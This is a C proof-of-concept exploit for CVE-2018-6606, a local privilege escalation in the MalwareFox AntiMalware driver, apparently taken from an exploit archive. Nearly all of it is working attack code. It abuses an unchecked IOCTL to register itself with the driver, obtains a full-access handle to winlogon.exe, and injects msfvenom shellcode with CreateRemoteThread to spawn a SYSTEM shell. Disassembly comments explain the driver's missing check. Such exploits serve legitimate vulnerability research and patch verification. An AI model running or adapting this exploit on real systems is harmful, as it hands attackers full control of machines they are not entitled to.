1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
/* Title: MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation Date: 03/02/2018 Author: Souhail Hammou Vendor Homepage: https://www.malwarefox.com/ Version: 2.74.0.150 Tested on: Windows 7 32-bit / Windows 10 64-bit CVE: CVE-2018-6606 */ #include <Windows.h> #include <TlHelp32.h> #include <stdio.h> BOOL RegisterProcessByIOCTL(HANDLE hDevice) { DWORD pid, BytesReturned; /* IOCTL 0x80002010 registers a process, by its PID, as trusted by the driver. Registered processes can send special IOCTLs to the driver to do stuff like: - Enable/Disable real-time protection - Write to raw disk - Open full access handles to processes - ...etc When a process sends a special IOCTL, the driver checks if that process is registered (as shown in the disassembly below at address 0000000140010573). However, when a process sends the IOCTL 0x80002010 to register a process by its PID, the driver doesn't check to see if the requestor itself is registered (0000000140010553). That way, any process can register any other process (including itself) with the driver. .text:000000014001054A mov ebx, [rcx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode] .text:000000014001054D cmp ebx, 80002010h .text:0000000140010553 jzshort find_ioctl_dispatcher ;jump past the check [......] .text:0000000140010573 mov edx, 1 .text:0000000140010578 mov ecx, ebp ; Requestor_PID .text:000000014001057A callIsProcessRegistered .text:000000014001057F lea rdx, aMain_c .text:0000000140010586 testeax, eax .text:0000000140010588 jnz short loc_1400105C2 .text:000000014001058A mov [rsp+68h+var_38], ebp .text:000000014001058E lea rax, aProcessidDIsNo .text:0000000140010595 mov edi, STATUS_ACCESS_DENIED [......] .text:00000001400105C8 find_ioctl_dispatcher:; CODE XREF: sub_1400104BC+97j .text:00000001400105C8 ; sub_1400104BC+ACj [......] .text:0000000140010612 cmp ebx, 80002010h .text:0000000140010618 jzloc_1400106D7; dispatch the IOCTL */ pid = GetCurrentProcessId(); //Register our process with the driver if (!DeviceIoControl(hDevice, 0x80002010, &pid, sizeof(DWORD), NULL, 0, &BytesReturned, NULL)) { return FALSE; } return TRUE; } DWORD GetWinlogonPID() { DWORD WinlogonPid = 0; PROCESSENTRY32 ProcessEntry; ProcessEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { printf("[-] CreateToolhelp32Snapshot failed !\n"); goto ret; } if (!Process32First(hSnapshot, &ProcessEntry)) { printf("[-] Process32First failed !\n"); goto cleanup; } do { if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe")) { WinlogonPid = ProcessEntry.th32ProcessID; break; } } while (Process32Next(hSnapshot, &ProcessEntry)); cleanup: CloseHandle(hSnapshot); ret: return WinlogonPid; } int main(int argc, char** argv) { DWORD BytesReturned; DWORD winlogon_pid; HANDLE winlogon_handle; LPVOID RemoteAllocation; HANDLE hDevice; printf("===MalwareFox Anti-Malware 2.74.0.150 zam64.sys Local Privilege Escalation===\n"); printf("Tested on Windows 10 64-bit\n"); printf(" Souhail Hammou\n\n"); printf("[*] Stage 1: Registering the process with the driver by sending IOCTL 0x80002010\n"); hDevice = CreateFile ("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { return 0; } if (!RegisterProcessByIOCTL(hDevice)) { printf("\t[-] Registration Failed !\n"); return 0; } printf("\t[+] Process registered.\n[*] Stage 2: \n"); printf("\t[+] Getting Winlogon's PID\n"); winlogon_pid = GetWinlogonPID(); if (!winlogon_pid) { printf("\t[-] GetWinlogonPID() failed !\n"); return 0; } printf("\t[+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon\n"); /* The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process. We use this IOCTL to open a full access handle to winlogon.exe. Note that this IOCTL can only be sent if the process is registered with the driver. */ if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL)) { printf("\t[-] DeviceIoControl 0x8000204C failed !\n"); return 0; } printf("\t[+] Allocating executable memory in winlogon.exe using the full access handle\n"); if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { printf("\t[-] VirtualAllocEx failed !\n"); return 0; } printf("\t[+] Writing shellcode to allocated memory\n"); /*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/ unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"; if (!WriteProcessMemory(winlogon_handle, RemoteAllocation, buf, sizeof(buf), &BytesReturned)) { printf("\t[-] WriteProcessMemory Failed !\n"); return 0; } printf("\t[+] Spawning SYSTEM shell\n"); if (!CreateRemoteThread(winlogon_handle, NULL, 0, RemoteAllocation, NULL, 0, NULL)) { printf("\t[-] CreateRemoteThread Failed! Did you compile the exploit as a 64-bit executable ?\n"); return 0; } } |